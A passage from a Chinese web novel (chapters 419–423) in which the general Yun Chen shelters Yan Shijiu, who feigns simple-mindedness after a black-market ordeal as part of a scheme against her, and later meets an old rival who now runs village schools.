到最后,云琛和伏霖已只能看见黑压压到处都是人头,在昏暗烛火的照射下,宛如群魔鬼影,将他们团团包围。
没办法,云琛只能大喊一声“分开跑!”然后踩上墙壁的石头凸起,借力跨过人群头顶,试图往一开始的入口跑去。
伏霖也朝反方向而去,开始带着人群兜圈子,为云琛制造逃跑空隙。
随着云琛和伏霖分开,追击的人群也很快分散。
云琛轻功飞奔,眼见地窖入口已被几十个人彻底把牢堵死,她只能甩掉身后追击,转过一道墙壁,瞅准地上一个装货的大箱子,抬脚踹开锁,抱着颜十九跳了进去,然后快速关好箱盖。
下一刻,隔着箱子,她屏住呼吸,听见轰隆隆的人群脚步声跑过去。
直到外面一点声音都没有了,她才敢大口大口地喘气。
“再躲一会儿吧,更安全点……”云琛放轻声音。
箱子里一点光线都没有,黑乎乎的,她看不清颜十九的脸,只能用手去找他:
“颜十九,你怎么不说话?从刚才到现在,你一直没说话。”
颜十九顺着声音靠过来,像小狗好奇似的,发出一声疑问的“嗯?”
他摸索着找到云琛的手,将脸贴在上面闻了闻,然后又顺着她胳膊往前,一头扎进了她前胸。
“啪——”
一记响亮的耳光落在颜十九脸上,云琛完全出于本能反应,打完又意识到下手太重了,赶紧轻声道歉:
“对不起对不起,颜十九,这里太黑,我知道你不是故意的,我下手重了,对不起……”
颜十九好像没听见一样,又发出天真可爱的一声“嗯?”
继续往云琛胸前扎。
“啪——”
又是一记耳光。
云琛又道歉:“对不住,颜十九,你怎么了?你说说话呀!”
颜十九仍旧不吭声,也仍旧不放弃,铁了心要往云琛怀里钻。
一时间,这狭小黑暗的箱子里,只能听见两个粗重急切的喘息,再加上颜十九从屏风下来时,就腰上围了条白巾,其他啥也没穿。
方才逃跑时顾不上体面,这会云琛才后知后觉感到尴尬。稍微动一下,就与颜十九赤裸滚烫的肌肤碰上。
这箱子里的春艳,实在令人浮想联翩……
最后云琛实在没办法了,再加上不敢弄出太大动静,只能投降似的两手摊开,无奈:
“颜十九,你到底想干嘛?这种时候就别开玩笑了行不行?”
终于没有了耳光的阻碍,颜十九将脸慢慢凑到云琛胸前,用鼻尖触触她紧绷的身体。
从肩膀,到头发……
他一一轻轻触碰,吸了吸鼻子,模模糊糊地叫了声:
“姐姐?”
那声音就像个懵懂的孩童一样,再结合他竟没有认出她的脸,竟要靠嗅觉来识人,云琛心里“咯噔”一沉,顿时有了不祥的预感。
她摸索地抓住颜十九的头发,声音带了慌乱哭腔:
“颜十九?你好好想想,你比我大啊?我得叫你‘哥’啊!你怎么了,是不是被**傻了?你清醒一点!”
颜十九没有回答,只是一声又一声懵懂地唤着“姐姐”,又往云琛怀里凑。
他整个人使劲往她怀里钻,喘着粗气,急切地说着:
“姐姐……睡……睡……”
不出意料的。
“啪——”
又是一个大耳光。
颜十九“嘤嘤”两声,委屈巴巴地叫着“姐姐”,艰难地吞咽了下口水,吐字清楚地又说了一遍:
“水。”
这下云琛听明白了,她尴尬地又说两声对不起,哄他道:
“不着急哈,马上就出去给你找水喝。”
颜十九竟真的十分听话,没有再闹,乖乖倒在她大腿上,不再动弹。
因为箱子空间太小,颜十九那人高马大的身量,几乎占据了大半个箱子。
躺在她腿上时,自然而然就躺在了她大腿。
他热乎乎的脸颊贴在她大腿根,呼出来的温热呼吸,全部轻轻喷在了她……小肚子上。
她浑身鸡皮疙瘩都冒了出来,他却得寸进尺,竟将脸颊微微偏转,更加靠近她某处,轻轻嗅了一口,道:
“好香。”
“啪——”
……
……
在箱子里和颜十九脸贴肚子、腰贴肉地躲了整整半个时辰后,听得外面追击咒骂的声音越来越小,最终归于平息,云琛才轻手轻脚地爬出来。
入口处除了一个守卫,已没有人群拥堵,她背着颜十九顺利逃出去,虽然还是立马引起一波围追堵截,但已比先前那阵仗好多了。
也凭此给了伏霖和万宸逃出去的机会。
再两个时辰过后
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,天还未亮,虎威军的一支小队已在云琛带领下趁夜出击,眨眼踏平黑市。
黑市里的人,抓的抓,罚的罚,杀的杀。
黑帮直接原地解散,帮里养的鸡都杀了,鸡蛋黄都摇散,一点后患不留。
战争残骸的物品,只要带着名牌姓名的,通通以烈士遗物规格,赠还家属。
**全部销毁,金银财宝等珍贵物一律充公。
这还不够,云琛又调派三千将士,用土将整个地下城灌平、夯实,彻底夷为平地。
根本顾不得什么黑市不属于虎威军权责范围,此举会不会惹得**。
最后,她将那扇把颜十九和万宸折磨得惨不忍睹的屏风,单独拖出来,拉到瑟瑟发抖、甚至不敢正眼去看的颜十九面前,直接砍成木头渣子,一把火烧了。
灼灼火光旺盛窜天,木屑灰飞似烟,映着颜十九泪眼楚楚的帅脸。
他还没有穿衣服,白皙又布满伤痕的身子上,只裹着一张薄毯,红着眼圈靠坐在火堆旁,那柔弱不能自理的模样,实实我见犹怜。
云琛走到颜十九面前,单膝蹲下,直视着他的脸,声音带着哽咽:
“颜十九,我给你出气了。”
颜十九眨眨那双漂亮的眼眸,看看燃烧的屏风,又看看云琛,似懂非懂地点点头。
他的身量和从前没有太大区别,还是那样高大,只不过瘦了许多。
那张从前风流倜傥的脸,如今添上柔弱之色,满脸透着不符合年龄的痴纯,竟更有勾人诱惑。
旁边的万宸抹了把眼泪,哽咽解释道:
“那日我家公子在洛疆王庭,侥幸一刀未死,假装尸体逃出来。本想投奔云将军你,谁知路上又被歹人下药掳去,做成那‘肉屏风’,日日没吃没喝不说,还不许动,连眨眼都不行,稍有不从,便是一顿打骂,我家公子哪里受过这种**,抵死不从,便被歹人下重药,害成了这痴傻样子,卖来黑市。”
万宸擦擦眼角,指指他和颜十九身上,那到处已割断、却还扎在肉里的金银丝线,囔着鼻子又问:
“云将军,能不能找大夫给我家公子看看伤病,您认识什么厉害的神医不?”
云琛早已听得满腹心酸,眼泪在眼眶里直打转,道:
“我有个认识的神医,但他着急回家给自己制药,已经回东炎了,你们别担心,我这边先找城里大夫试试,那边也派人去请他,你们会好起来的。”
万宸脸上有一闪而过的错愕,随即点点头,“多谢云将军。”
再看颜十九,他仍用那水汪汪的眼睛瞧着云琛,模样可怜极了。
“姐姐。”他又喊:“抱抱。”
云琛擦擦眼泪,好声哄道:“乖,一会儿找大夫给你看病,先把丝线都去了,好吗?”
见云琛完全不搭理自己拥抱的意图,颜十九委屈地撇嘴,又一头朝云琛前胸扎去。
这一次,云琛没有动。
但却有一道身影比闪电还快,从旁冲过来——
伏霖狠狠一脚,将颜十九踹得飞起,身上薄毯都掉了,白花花的,化作了天边最扎眼的一颗流星。
第420章 真傻假傻?
挨了伏霖一脚之后,颜十九一屁股摔在地上哇哇大哭。
万宸立马冲过去将颜十九扶起来,用格外伤心的语气道:
“我家公子如今痴傻,被歹人欺负就算了,怎么在这里也要被欺负,云将军,您不容我们吗?”
伏霖一脸吃了苍蝇被哽住的表情,云琛则连连点头:
“容的,容的。”
在云琛的安排下,颜十九和万宸住进了离她最近的帐篷,从城里请了最好的大夫来,先将他们身上的丝线都抽掉。
万宸自不用说,即使痛得浑身发抖,也咬牙忍住了。
但颜十九不行。
他如今心智痴傻,哪里忍得了那种痛。
大夫刚碰那丝线一下,颜十九就惊恐大叫着躲避:“姐姐,救命,我怕!”说什么也不肯让大夫碰。
云琛赶紧喊来几个将士摁住颜十九,不曾想他心智虽然是小孩子的,但身体和力气还是个大男人的,挣扎得谁都摁不住。
最后还是伏霖上场,用腰带直接将颜十九两个手腕向后一捆,一脚将其踩死在榻上,颜十九才动不了。
只是人虽然动不了,可颜十九的脸一直冲向云琛,撕心裂肺地不停哭喊。
大夫每抽掉一根丝线,颜十九就疼得浑身一抖,哭声也更大,想挣扎,却又被伏霖踩得更狠。
旁边的万宸看不下去了,当着云琛的面,背过身去抹眼泪。
云琛见状,赶紧扯扯伏霖:
“你轻些,别把他踩坏了。”
好不容易身上丝线尽除,在伏霖松开脚的一瞬间,颜十九几乎是连滚带爬地要往云琛怀里躲,却被伏霖一把掐住后脖子,动弹不得。
颜十九在伏霖手里不停挣扎,像被捉住的小兽那样,可怜兮兮的眼神望着云琛,又惹来伏霖一个大黑脸。
趁伏霖不注意,颜十九扭动身子,对准伏霖的手,狠狠咬了一口。
“嘶——”伏霖吃痛撒手,骂了声娘,气得要动拳头。
颜十九却已远远跑掉,整个人缩进角落,蜷成一团,抱着腿不停发抖,只露一双通红的眼睛,含泪怯怯地看着云琛。
“云将军,看来我家公子只认你,旁人只会吓着他。”万宸难过道:“求云将军看在过往情分的份上,照顾我家公子些时日!”
说着,万宸捧着身上伤口,就要给云琛磕头下跪。
云琛赶忙拦住他的动作,攥紧拳头,表情坚定,重重点头:
“你好好养伤!放心!一切交给我!”
只是承诺容易,兑现难。
云琛万万没想到,一个傻子颜十九,能差点折腾掉她半条命。
此后几日,每日清晨,一声甜甜的、脆生生的“姐姐”,拉开噩梦的帷幕。
云琛翻个身,睁开眼,贴对上榻边一双巴巴的星星眼。
她揉着惺忪睡眼爬起来,打来一大盆热水,开始给颜十九梳洗。
她像照顾小孩子一样,将帕子扔进盆里浸水、拧干,先给颜十九擦脸,后擦手,再端来薄荷水给他漱口。
颜十九则一边享受她的擦洗,一边不停拍打盆里的水,玩得不亦乐乎。
很快,大半盆水被颜十九扑腾完。
他倒是整洁如新,漂漂亮亮捯饬干净了,云琛则上半身和头发几乎湿透,脸上还黏着几片薄荷叶,只能去换衣裳。
她抓住颜十九的胳膊,使出老牛的力气往外拖:“我要换衣服,你出去等一下。”
“不要!我怕!”颜十九死死抓住她裤腿,死活不肯离开,一副又要哭鼻子的样子。
无奈之下,云琛只得用腰带蒙住颜十九的眼睛,将他摁坐在一边,嘱咐他不许摘掉。
她快速脱掉上身湿衣服,时不时防备地看颜十九一眼。
望着他那蒙眼腰带下挺拔的鼻梁、红嫣嫣的嘴角微微弯起,乖巧地托腮而坐,手里还牢牢牵着她衣角的样子——
云琛忍不住有点看入迷,随后狠狠打了个哆嗦,叮嘱自己:
别看!这货为追求南璃君,可是专门研究过美容养颜当“红颜祸水”的,闭眼闭眼!
心里正想着,湿衣服已经全部脱掉,她想去拿干净衣服,裤腿却被颜十九攥在手里,跟坠了个大秤砣似的,扯得她动不了。
“颜十九,你起来跟我走两步,我要拿衣服。”她说。
隔着那蒙眼腰带,云琛仿佛能感受到两道精光迸射而出。
颜十九从凳子上蹦起来,歪着头,开心地问:
“捉迷藏吗?姐姐,我抓你!”
随后,也不管云琛答没答应,颜十九直接蒙着眼睛,朝云琛扑了过去。
她上身除了肚兜,什么也没穿,吓得惊叫躲避,差点在地上栽个跟头。
那边,颜十九快乐地张开双臂,摸索追逐:
“哦——抓姐姐喽——”
这边,云琛吓得人都凌乱了,边满帐篷到处躲,边胡乱抓起干净衣服套在身
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上,竟颇有种祸国妖妃与君王调情戏耍的幻觉。
好不容易,“激烈”的晨起洗漱结束。
颜十九要撒尿,他活人的本能没有忘,利索地尿完了,但那繁复的裤带和扣子他不会了,两手提着松松垮垮薄薄一层的袭裤,追着云琛就喊:
“系系,系系。”
云琛头皮都麻了,扭头跑得跟狗撵似的。
到了吃饭的时候,云琛习惯围桌子和伏霖、荣易还有罗东东他们一起吃。
颜十九贴在云琛身边,下巴搁在她肩膀上,流着口水,奶里奶气地指着桌上,又指指自己嘴巴:
“姐姐,要吃,那个,还有那个,那个也要——啊——”
云琛照顾他痴傻,自然有求必应,自己还没吃上几口,光顾着喂他了。
旁边的荣易和罗东东看着这幅情景,尤其颜十九那人高马大的体型,仿佛在看云琛给一头大狗熊喂食。
而且那狗熊还特么会发奶音!
两人无声地干呕了一下,低头扒饭,生怕真吐出来,没胆量再看。
伏霖则一直眯眼盯着颜十九,如果眼神能当刀子**的话,颜十九此刻应该已经被剁成“熊初沫”了。
伏霖将一口豆腐嚼得“咯咯”直响,腮帮子动了动,一字一句冷声道:
“云将军,你一会儿不是要看关于边境线的军报吗?事情很急了,那下午——我、来、替、你、照、顾、他吧!”
云琛看了眼打哆嗦的颜十九,安慰地拍拍他的头:
“没关系,现在伏霖已经知道你是脑子坏了,不是流氓,他人很好,会照顾好你的。”
于是,吃完饭,在伏霖铁钳般的大手下,颜十九被牢牢摁住肩膀,没法拉扯云琛,只能被控在原地四肢乱舞,声声哀怨地唤:
“姐姐!救命!”
看颜十九那可怜样,云琛有点于心不忍,刚想说话,伏霖一只手已悄悄、狠狠拧住颜十九后背上的皮肉,慢慢旋了起来。
颜十九立马就不哭了,抽抽搭搭、满脸眼泪地露出一个笑容,对云琛挥手再见:
“姐姐,你去忙吧!”
云琛这才放心离开。
伏霖随即对旁边干呕得像俩孕妇似的荣易、罗东东使了个眼色,阴笑一声:
“呵呵,‘痴傻’是吧?那我们就来看看看,到底是真傻还是假傻。否则,云将军在我们眼皮子底下被人诓骗占便宜,我怎么好跟霍将军交代呢?”
第421章 试探(上)
老话说,不怕坏小子单个个,就怕坏小子凑一窝。
伏霖和荣易、罗东东凑在一起,商量了半天后,决定试探试探颜十九。
如果他是真傻,伏霖愿意给颜十九叩头赔罪。
但如果是假傻,伏霖说,他知道阎王爷那缺个戏精,可以送颜十九过去。
那怎么试探呢?
罗东东想了想,从马厩拿来一坨干硬的马粪,递到颜十九嘴边:
“你敢吃,我就信你!”
见颜十九真的抓起马粪就往嘴里塞,罗东东反倒吓坏了,赶紧伸手去抢。
结果颜十九躲着身子不给,还站起来就跑。
等罗东东抓住颜十九带回来的时候,也不知道他吃进去几口,反正嘴里“啧啧”的,看起来有点塞牙。
荣易觉得吃屎算什么能耐,他坏笑一声,上去勾住颜十九脖子,语气暧昧道:
“你不是喜欢‘姐姐’吗?走,我知道一个好地方,里面有好多好多漂亮‘姐姐’,你要是能坐怀不乱,我就信你是真的!”
伏霖说不行,这办法太费时费力气,很可能还没试探出颜十九真假呢,荣易就自己先忙活缴械投降去了。
思考片刻,伏霖将方才吃饭的桌子一把掀掉,碗碟喀啦啦碎了一地。
他将桌面竖在地上,命颜十九将身体摆成“大”字形,贴站在桌面前,然后走到十丈开外站定,摆出投掷飞镖的架势,瞄准了颜十九。
荣易在旁边不赞同道:
“这有啥稀奇的?大街上杂耍的都会,只要稍微胆色过人些,便能坚持住,就那么一眨眼的吓唬而已。”
伏霖扯嘴一笑:“这厮若是装的,肯定知道我们不能杀他,那便不用能**的刀剑,用这个。”
说着,伏霖拿来刚才掀桌子时摔碎的碗碟瓷片:
“用这个,这玩意儿好,不**,但疼,碎瓷渣子扎进肉里,得疼十天半个月。”
罗东东从地上捡起个苹果,准备放去颜十九头顶,伏霖却制止:
“我不扎他头顶,瞅见那团圆形油渍了没?我扎那——”
荣易和罗东东顺着伏霖手指的地方看去,只见颜十九身后的桌面板子上,靠下部有一块指甲盖大小的油渍,紧紧贴着……
颜十九的裤裆边缘。
荣易和罗东东忍不住同时哆嗦了一下,他们其实不太明白,伏霖为啥这样?
作为云琛身边最得力的亲信,不应该云琛喜欢谁,讨厌谁,他们也跟着一样吗?
颜十九是云琛的朋友,真傻假傻,与他们何干呢。
但瞧伏霖那架势,恨不得把颜十九扒皮抽筋了。
可伏霖明明是民间推举的义军首领来的,跟颜十九都没见过,哪来那么大恶意呢?荣易和罗东东一头雾水。
伏霖指指颜十九裆下,笑得斯文又阴沉,道:
“傻子肯定不懂,裤裆里那玩意儿除了撒尿,还能干嘛。我就扎五十下,能捱住,就信他真傻。”
说罢,伏霖手腕一抖,一块锋利的碎瓷片携劲风而去,准准扎中那块油渍,溅起些碎瓷渣滓,崩在了颜**腿上。
荣易和罗东东在侧旁观,心肝直打颤,颜十九却没什么反应,仍旧一脸天真茫然,甚至还双手合十,轻轻欢呼,给伏霖鼓起了掌。
伏霖冷笑不语,接连飞出瓷片。
渐渐地,他一开始手头还很准,但二十下过后,就有点故意偏了。
那瓷片从一开始的紧挨裆部,逐渐慢慢上移,很快扎在颜十九的裤子上,已几乎要扎中他要害。
荣易和罗东东一直从旁观察着颜十九的神色,完全看不到一点破绽,不禁觉得试探足够,颜十九是真傻了。
只有伏霖还不肯,架势越来越狠。
搞得荣易和罗东东几次欲言又止,想劝却没敢。
连续扎了四十九下后,伏霖转动着发酸的手腕,语气里带着阴沉笑意:
“还有这最后一下,我手已经酸了,估计会扎偏哦——”
颜十九呲牙傻笑,毫无反应。
伏霖眉眼一沉,心说管你真傻假傻,趁这机会,我都给你弄成真太监!
他盯准颜十九裆下要害,正准备狠狠最后一击时,却听一个冷冷的声音从后问:
“你们在干什么?”
伏霖三人扭头看去,炎朗正站在不远处,一身风尘仆仆,手里提着个陈银药罐,一脸冷漠地发问。
他不紧不慢地走过来
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,扫一眼满地狼藉,看向还贴在桌子前当人形靶子傻乐的颜十九,不悦皱眉:
“你们云将**急火燎地叫我来治病人,治他吗?如果你们要弄死他,就早点说,别让我白跑一趟。”
这话高高在上,还带点颐指气使的味道,气氛瞬间有点尴尬。
荣易还指望这神医给云琛治耳朵呢,心觉不能招惹,又高兴终于有人来打断伏霖这疯子了,赶紧站出来打圆场,嘻嘻哈哈笑问:
“神医这么快回来啦?来回十几日,路上可辛苦?啥时候给我们家老大治耳朵呀?”
据炎朗回答,虎威军如今驻扎的地方,已在东炎边境,离炎朗的广玉兰洲很近。
炎朗带着龙烬回广玉兰洲,三天便炼制出治疗他离魂症的药,收到云琛找他的书信,便又急急跑了回来,还说路上途经某黑市,顺手收了个陈银药罐子。
一切都合情合理,自然得没一点毛病。
偏偏伏霖听了这些,敏锐地察觉到不对劲。
从云琛在浓雾树林里碰巧遇见炎朗,到听炎朗的话去黑市找药罐、发现颜十九,好像一切都是在炎朗引导下发生的。
他像隐匿在阳光与阴影交界里,默不作声地冷眼旁观着一切,伪装得一副置身事外的样子。
待颜十九这痴傻装不下去的时候,炎朗便跳出来收拾残局,治好颜十九的痴傻,让一切完美结束。
想到这里,伏霖看看炎朗,不知道是不是错觉,他觉得十几日而已,炎朗怎么看起来好像比先前……长大了一些?
再看看颜十九,伏霖心下了然,不禁嘴角勾起一抹讥笑。
正如霍乾念所说的那样,颜十九也好,炎朗也好,棋盘上的落子而已,翻不起什么风浪。
估计下时间,他发给霍乾念的信应该六天前就到了。
在信中,他将黑市发生的一切,全部一五一十告诉了霍乾念。
以霍乾念的性子,怎容颜十九在云琛身边徘徊,必然很快会制出令颜十九绝对无法拒绝、招架的对策,继续推着这颗愚蠢的棋子往前走。
想到这里,伏霖决定暂时按兵不动,冷淡看了炎朗和颜十九一眼,扭头回帐篷去了。
第422章 试探(下)
对于楠国人来说,从古至今,天王老子敢骂,皇帝背后敢腌臜。
唯有一种人,恨不能捧上神龛,放个屁,别人都会说“对对对”。
那便是神医。
为避人耳目,炎朗说,颜十九这病不好治,要去深山老林里,找一处僻静无人的山洞,才能有七成把握治好。
这么拙劣又破绽百出的瞎话,竟然所有人都信了。
云琛甚至凭借对附近地形的熟悉,积极选了处僻静地,亲自用马车将颜十九、万宸和炎朗送了过去,安置好各种草药、药罐和铺盖。
炎朗一直定定瞧着云琛忙前忙后的动作,眼神里全无从前那冷血之色,全都是复杂的、涌动的明暗情绪。
“云琛,你确定不先给你治耳朵?”炎朗问,“如果你想,我可以先医你,永远以你为先。”
云琛看了眼正趴在地上、流着哈喇子抓蚂蚁玩的颜十九,连连摆手:
“还是先治他吧,每天照顾傻子真的好累,再说,你治他,不是七八天就结束了吗,我不急。”
忙活完一切,云琛拉着马车离开。
望着云琛渐行渐远的背影,炎朗出神了许久,直到万宸的声音将他的思绪打断:
“王爷,请快为皇上解针吧。”
炎朗身子轻轻一震,又恢复那冷漠的模样,眼神发冷地盯住万宸。
这个暗卫,是颜十九在广玉兰洲秘密培养的所有暗卫里,最出色、最坚韧的那一个。
轻功极佳,战力极强,更有一手老练屠夫都比不了的卸尸手艺,别人拆分一具尸体的功夫,他能干净利落地分两具,本事深得颜十九欣赏,派去教授了黑鳞骑兵们几个月,回来后便一直在颜十九身边守卫。
虽然万宸的性子古板又沉闷,但却能做到心甘情愿和颜十九一同受罪,演起戏来也是个好手。
炎朗又看向颜十九,忍不住发出嘲弄的冷笑。
任谁看到颜十九现在这模样,敢相信,这就是东炎那弑父杀兄、几乎屠尽皇族而登上皇位的**炎刑呢?
他扔下偌大的东炎不管,甩手给重伤修养、顺势回东炎重兵监国的焦左泰,自己则跑来这边境黑市遭罪、做戏,只为合情合理地演一出“死里逃生”的戏码,继续他吞噬楠国,亦吞噬云琛的计划。
炎朗当初问过他,**屏风,一定要做那么惨吗?
颜十九挑眉笑说:“不够惨的话,人们怎么能轻易相信一个埋尸在洛疆王庭的人,死里逃生活过来呢?不够惨的话——”
颜十九靠近,笑得颇为浪荡:
“哥哥,这你就不懂了。女人是世界上最容易心软的,那份同情和心疼,有时候比说一万次‘爱你’要管用得多——对了,别忘了按老规矩给我准备消疤痕的药物,我可不想将来吓着云琛。”
想到这里,炎朗走到还在捉蚂蚁的颜十九跟前,冷冷道:
“跪下。”
颜十九傻愣愣看着炎朗,眼神依旧懵懂茫然,却还是乖乖听话,将那高大的身躯低下来,跪在了炎朗面前。
炎朗抬手抚上颜十九的头顶,细细摸索一阵,从穴位拔出那根细长的、压制了颜十九所有神智的银针。
颜十九瞬间神情痛苦,深深皱眉,继而眼神慢慢透彻,重新恢复起那放肆、阴冷、暴虐的黑光。
他慢慢站起身,高大的身躯升起阴影,将炎朗整个人笼罩住。
颜十九低头看着炎朗漠然、却掩饰不住动摇的表情,摁住仍有残余疼痛的太阳穴,回忆起被银针压制的这段时间的记忆,轻笑:
“哥哥好生无情呀,按照原计划,你应该带着云琛去黑市找我的,第一时间为我解针疗伤,可自己一得到龙烬,就立马说都不说一声,就将我抛之脑后了,嗯?”
最后一声故作天真、却杀意十足的问音,叫炎朗的心冷去半截。
仰头看着自己这个本该二十年前偷风灼草时就**的胞弟,炎朗突然想:
如果当年他没有用自己小小的身躯去拦救,叫炎绰直接将炎刑打死的话,那么炎绰不会死,整个皇族不会遭到**……
云琛,也不会像个傻子一样,被**于股掌之间了吧……
似乎看破炎朗在想云琛,颜十九勾唇冷笑:
“阿泰该回来,继续我的计划了。既然哥哥已经得到治离魂症的药,很快就能变得和正常男人一样,那实在不适合再出现在云琛身边——辛苦哥哥帮我回东炎监国吧,别浪费我封你的王爷位。”
炎朗默默在袖子里攥紧拳头,没有说话,颜十九又笑道:
“哥哥,你要听话哟,不然,咱们的母妃就只能去跟父皇作伴了。”
最后一句话,直接让炎朗的眼睛骤然瞪大,他死死盯住颜十九,这个将自己生母都能当作要挟筹码的家伙……
他知道,整个黑鳞骑兵加起来,都没有颜十九毒辣,这天下所有狠毒男人,都不及颜十九半根手指。
颜十九既然说出口,就一定做得到。
如果不听,他炎朗也好,如今被软禁的母妃赵嫣嫣也罢,只怕都将成为刀下亡魂。
沉默良久,炎朗转身拂袖而去:
“你这段时间神智被压制,这期间的记忆此刻突然涌现,只怕身体吃不消,还是多休息几天吧。”
颜十九收敛身上威胁杀意,好似戏剧变脸那般,又变成了平时里他最擅长伪装的阳光开朗模样,笑着说了声“都听哥哥的”,然后钻进山洞,躺在云琛离去之前铺好的草榻上,哼着小曲,翘着二郎腿,开始接受这段时间的记忆。
炎朗停下朝外走的步子,侧脸回头去看。
颜十九的眼神忽明忽暗,一会儿耻笑,一会儿带杀,不知是针对这段时间记忆里的谁。
最后,他的目光又慢慢变亮,变软,像是想到了这世界上最明媚温暖的人儿,一副贪婪并爽到的表情。
云琛啊云琛,我真的很想救你出这个魔鬼的掌心……可我是他的帮凶,你会恨我的……
心里这样说了一句,炎朗大步离开,再也没有回头。
……
……
另一边,云琛离开那山洞和林子,拉着马车
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往回走,满脑子想的都是等炎朗治好她的耳朵以后,她该怎么写信告诉霍乾念。
要不要带上清玄小相公一起去,再气他一回?
或者学他的模样,偷偷骑快马,沿信道去寻他,出现在洛疆荒原上,站在他大帐外面,吓他一大跳?
如果那样的话,她一定要主动点,跑上去给他一个大大的深深的拥抱,亲他一口,然后潇洒地转身就走。
这些年后知后觉发现没少被他吊着,哼,也该让他多尝尝“被吊”的滋味!
想着这些,云琛开始练习起“吊霍乾念”的表情,她挑眉瞪眼地想要做出霍乾念那样不苟言笑、深沉的样子,在路人看来,就跟她脸抽筋似的。
就这样脑子里七想八想,路过一个小村子的时候,云琛听见孩童的朗朗读书声传来,令她不由停下脚步。
“山不在高,有仙则名。水不在深,有龙则灵。斯是陋室,惟吾德馨。”
童声清澈无瑕,如银铃悦耳,听得人身心放松,无忧无虑,一瞬间,什么战争、情爱......人世间的烦恼都没有了似的。
云琛情不自禁地循着声音而去,止步在一处简陋的“见微草堂”外,却意外看见一道熟悉的身影,正一身教书先生的模样打扮,手持戒尺,严肃地在草堂中踱步。
注意到云琛的注视,对方看过来,同样面露惊讶意外之色,顿住脚步,直直地用那复杂难言的目光,与云琛对视了许久,接着又归为平静,再不看一眼。
云琛乖觉不进学堂打扰,一直等到休息时候,孩子们都欢呼着去玩泥巴了,云琛才穿过满院子嬉笑奔跑的孩童,向草堂走去。
“菘蓝,你怎么......”
走近以后云琛才发现,菘蓝竟穿了束胸,一身男人衣裳,脸上没有脂粉,头上也没有她以前最爱的金玉钗环。
她并不是敷衍地短暂地穿起教书先生的衣服,竟像是已很长时间如此了。
只不过她扮男人太没有经验,艳丽的痕迹太多,怎么看都是个漂亮的女人。
没有回答云琛的疑问,菘蓝反手摸摸后背,皱眉小声问:
“你以前都怎么束胸的,教我一下,我怎么束得这么疼?有时候气都喘不上。”
云琛愣了一下,与菘蓝来到她如今的闺房——一间简单的茅屋,帮她调整束胸的系带。
调整半天,云琛放弃了:
“这个......你太大了,真勒不平,要不穿宽松些的袍子遮掩?”
菘蓝叹口气,“只能这样了,等战乱彻底平息再放开吧,不然太不安全。”接着她话锋一转,用训斥命令的语气道:
“所以你在这瞎逛什么呢?还不赶紧把黑鳞骑兵杀光,结束战争,让老百姓有点安生日子过!”
听着菘蓝和从前一样熟悉的傲慢、高高在上的语气,云琛如今却并不觉得反感,用玩笑语气道:
“谨遵菘蓝先生之命,再过些日子,等边境线筑完,就算彻底结束。”
菘蓝撇撇嘴,没有说话,自顾去为云琛斟茶。
第423章 窥见
趁菘蓝倒茶的间隙,云琛环顾茅屋里。
四处陈设简单,用忍冬、艾草做了小景装饰,还有两盆青砚菖蒲,两大排书架,满满当当摆着书。
到处虽简陋,却格外洁净清新,与菘蓝从前奢侈的喜好作风大相径庭。
唯一不变的就是菘蓝高傲的气质,虽褪去金玉装饰,依然透着骨子里的自傲心气。
但云琛真的很庆幸,也许正是这份傲气,才让菘蓝在经历被逐出东宫那么大的挫折之后,最终选择活了下来,走上一条与世家女子们截然不同的、更广阔的路。
面对这个今日故交、昔日“仇敌”,云琛不知聊些什么,只能没话找话道:
“对了,听说你哥哥要成婚了,你回去赴婚宴吗?若去的话,算算日子,你可以与我大军回京时一起走。”
“不去了,已经寄过贺礼了。”菘蓝说着,别有深意地看了云琛一眼,“你在外征战太久,不常回京,应该还没见过新娘子吧?”
云琛摇头,菘蓝狡黠一笑:“那你回去一定得好好留心下新娘子哦。”
不知道菘蓝这意有所指是什么意思,云琛茫然地挠挠头,这憨样子把菘蓝逗笑了,她长叹一口气,端起泡好的新茶,身子微微欠礼,两手将茶捧给云琛,郑重道:
“我以茶代酒,正式向你道歉,云琛,从前我有许多对不住你的地方。”
云琛焉有不喝之礼,赶紧一口将茶闷掉,扶菘蓝起来,笑道:
“这次茶不烫,挺好喝。”
瞧云琛那瞬息就能原谅过去所有的样子,不,应该说从没将她菘蓝一切得罪放在心上的样子,菘蓝心里既松口气,卸下从前许多负罪,更无奈摇头:
“云琛,从前为你男子身份,我误会你太多。这些年离了东宫那斗争傲慢场,我想了很多,即使你不是女扮男装,我大概还是会讨厌你。”
“为什么?”
“因为你是这世上少有的极致坦诚之人,在这人人勾心斗角的世界,偏生你坦白、纯粹、无畏到极点,人们根本不用花心思去猜疑,便能看透你,所以轻易就能信任你,喜欢你,也轻易地从你身上照出自己,比如我,那最不堪最丑陋的一面。”
长叹唏嘘一阵,菘蓝又道:“所谓‘直心是道场’,你这‘真诚剑’,比这世上所有阴谋诡计都厉害。”
云琛听得一知半解,半天竖起大拇指,恭维道:
“菘蓝,你现在说话真的好像个老学究哦,不过是好漂亮的老学究。”
菘蓝忍不住“扑哧”一声笑起来,这时,一个四五岁的小学童举着书本跑进来,童音清脆地问:
“夫子,刚才说‘斯是陋室’,后面一句是啥呀?又忘掉了。”
菘蓝收敛笑意,板正出严肃的“先生”脸色,道:
“‘惟吾德馨’,方才教了三遍,怎么还没记住?再去背,背不出,不许吃晚饭。”
面对这威胁,小学童欢快地应了一声,显然根本不怕菘蓝这刀子嘴豆腐心的纸老虎,哪天也没少过一顿饭,又蹦蹦跳跳,拿着书本跑远了。
望着小学童的背影,菘蓝脸上全是温柔笑意,像笼着一层绒光。
注意到云琛看向自己的眼神欣慰、欣赏又感动,菘蓝不自在,复又垮下脸,佯怒:
“你们少打些仗吧,再打下去,不知道还有多少孩子要成孤儿,没学可上。我虽能尽绵薄之力,一村一村地走,一个学堂一个学堂地去建,去教,可我就算活一百年,也救不了天下所有孩子。”
“你已经去过很多地方了?”云琛问。
菘蓝不在意道:“从京都到这里,快两年,不多,走了八个城,建了三十二座学堂。”
云琛震惊:“你一个小小弱女子,孤身在外,路上艰险不说,怎能一个人造那么多学堂?这么多孩子读书习字,还要吃饭,得不少钱吧?”
“你当我苏家是什么小门小户?虽比不过你们霍帮,这点钱还是拿得出。”菘蓝嫌弃地看了云琛一眼,接着又掩嘴偷笑:
“至于行路安全和建造读书的草堂嘛,我一般都在离你们狮威军、虎威军营地不远的地方。你手底下的将士都是傻的,只要我请他们帮忙,带我一程,或者扛运木材,他们都肯的。”
云琛哑口无言,她之前确实听荣易他们聊天,说老有个漂亮姑娘在军营外徘徊,找底下将士闲时帮忙拉木头。
